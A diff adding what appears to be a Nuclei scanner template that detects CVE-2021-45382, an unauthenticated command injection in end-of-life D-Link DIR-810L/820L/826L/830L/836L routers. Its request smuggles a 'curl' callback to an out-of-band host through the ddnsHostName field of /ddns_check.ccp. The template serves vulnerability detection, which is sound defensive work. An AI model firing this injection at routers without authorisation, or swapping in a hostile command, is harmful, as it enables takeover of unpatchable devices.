CVE-2021-45382

http/cves/2021/CVE-2021-45382.yaml

@@ -0,0 +1,48 @@
+id: CVE-2021-45382
+
+info:
+  name: D-Link - Remote Command Execution
+  author: king-alexander
+  severity: critical
+  description: |
+    A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
+  remediation: |
+    DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-45382
+    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
+    - https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cwe-id: CWE-78
+    epss-score: 0.94604
+    epss-percentile: 0.99036
+    cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: dlink
+    product: dir-820l_firmware
+  tags: cve,cve2021,dlink,kev,rce
+
+variables:
+  string1: "{{to_lower(rand_base(5))}}"
+  string2: "{{to_lower(rand_base(6))}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/ddns_check.ccp"
+    body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - http
+
+      - type: word
+        part: interactsh_request
+        words:
+          - "User-Agent: curl"